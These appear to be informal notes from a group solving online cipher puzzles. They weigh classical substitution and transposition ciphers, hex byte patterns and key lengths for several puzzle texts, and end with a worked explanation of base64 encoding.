- Here starts the shit. The encrypted text (if it is an encrypted message), not only plays with the different characters, but it also adds formatting to the equation. Is this important? Can I ignore italics and other such artifacts? Probably not. Probably not...

passable_forest
- This looks like substitution + transposition. Are the spaces moved around to? If not, how many combinations that make sense of a one-letter - two-letter pair are there in english?
- Give it a try with the program of the stockwood post
- Check them candidate algorithms:
> Vigenere
> Autokey
> Beaufort
> Running key
> Hill cipher
> ADFGVX cipher
> Playfair cipher
> Moar -> https://en.wikipedia.org/wiki/Category:Classical_ciphers

homage_com_dos_f04
- This one seems to be a variation of the f04cb algorithm.
- If we arrange the characters into columns every 3 bytes we get:
 3d 41 74 3c 42 73 38 43 73 3a 43 71 36 40 72 36 45 76 3c 40 76 3d 47 78 35 a9 75 38 41 71 39 a3 74 35 41 71 39 a5 78 35 a9 77 35 42 77 39 a5 72 3d 42 76 3a 44 5a 39 a6 73 36 40 76 3a 48 74 36 40 74 37 
- All characters in the left column start with 3 (0011)
- Almost all characters in the middle column start with 4 (0100)
- Almost all characters in the right column start with 7 (0111)
- The fact that it's almost all points to a operation done to the characters (like a xor) and not to half-bytes just being added in between half-bytes
- It is impossible to represent more than 16 characters with half a byte. This means that, in case the xor operation was the last one done, you can't know in advance where the positions of the 0s and 1s in the first half of the byte are going to be. You could have some sort of one time pad so that it produces this result, but this option seems unlikely
- Those characters that don't follow the pattern could correspond with special characters (like \r, \n, \t,...)
- Since 3 seems to have some sort of significance, it could be that the operations are done to groups of 3 bits (or 6, 13, pick a number!)

welcome to our new home
- Just a text. 32 characters long if we take the spaces into account

anthem_crab.tree
- Not your typical Lorem Ipsum. It starts with the standard "Lorem ipsum" but then changes.
- All the words seem to be in the post seem to be in the original post. Maybe this is a clue for the code.
Maybe the text can be translated into numbers according to the place of the word in the original text (first occurrence). Then, maybe those numbers can be used for something. Maybe.
- The tree in the title may be a clue to use the stockwood program

- Looks like one of those transposition + substition ciphers I heard so much about...
- That EAW, has it something to do with the Ema of the creations_puzzle.jpg?
+ How to attack
- Get frequencies of letters and bigrams
- Get the Index of Coincidence
- Depending on what comes out cry or attempt something different
- First, try key sizes of 6 and 13 as they seem to be important numbers
- Try to guess some of the words that can be there. The longer the better!
- When fail, crouch into fetal position and keep crying.

- Charset (24): _'ABCDEFGHIKLMNOPRSTUVWY (the _ represents the space)
- It's 143 characters long. 143 = 13*11
- The IC matches that of english so it could be that only transposition has been used
- Individual frequencies also match those of english (more or less, but good enough for such a small text)
- At least it's a double transposition (maybe more)
- There are 24 spaces which suggest that the sentence is 25 words long
- The presence of ' indicates that there is a n't or 's (are there more possibilities?)
- We don't know the key size.
- Key lengths -> first I'll try 13 13, 6 13, 13 6, 4 20, 20 4 and see what happens
- Maybe the key is in one of the previous messages with long strings or even the jungle book one

- Assuming this is a double transposition, follow this -> https://www.uni-kassel.de/upress/online/OpenAccess/978-3-7376-0458-1.OpenAccess.pdf chapter 5.3.1 (page 68)
- If it's more than double transposition, I think the same attack vector still holds
- Check also William Friedman's literature on the subject

- Charset(32): 23456789ABCDEFGHJKLMNPQRSTUVWXYZ
- Here is the reference to 1976. It could be a reference to the paper by Diffie and Hellman
- All strings are 8 chars long except for the first and the last (6)

I'm going to add a small explanation on baseN numbers
What is baseN?
A base32, base64, base10,... is just the number of different characters you use to represent a number.
For example
 base10 base2 base16 12 1100 0xc 

This can be interpreted as:
 12 -> 1 * 10^1 + 2 * 10^0 1100 -> 1 * 2^3 + 1 * 2^2 + 0 * 2^1 + 0 * 2^0 0xc -> c * 16 ^ 0 
In the case of base 16 we need more characters than just the numbers from 0-9 so we use a-f for the 10-15 range. In this example c = 12.
This is the basic idea. However when you check the standard base64 implementations you can see that the encoded string has sometimes padding characters (=). This is a consequence of how bytes are encoded into base64 to optimize the performance of the algorithm. In the standard case, each of the characters of the base64 alphabet (https://en.wikipedia.org/wiki/Base64#Base64_table) from 0 (binary 000000) to 63 (binary 111111).
So when you encode a string like MESSAGE to base64 first you transform it into bits:
 M E S S A G E 01001101 01000101 01010011 01010011 01000001 01000111 01000101 
Then, group them into 6bit numbers:
 >> 010011 010100 010101 010011 010100 110100 000101 000111 010001 01 
We need to add 4 zeros to complete the 6 bits groups. To indicate this we will add 2 = chars to the end of the string
 >> 010011 010100 010101 010011 010100 110100 000101 000111 010001 010000 
If we encode this according to the base64 value table we get:
 010011 010100 010101 010011 010100 110100 000101 000111 010001 010000 T U V T U 0 F H R Q ==
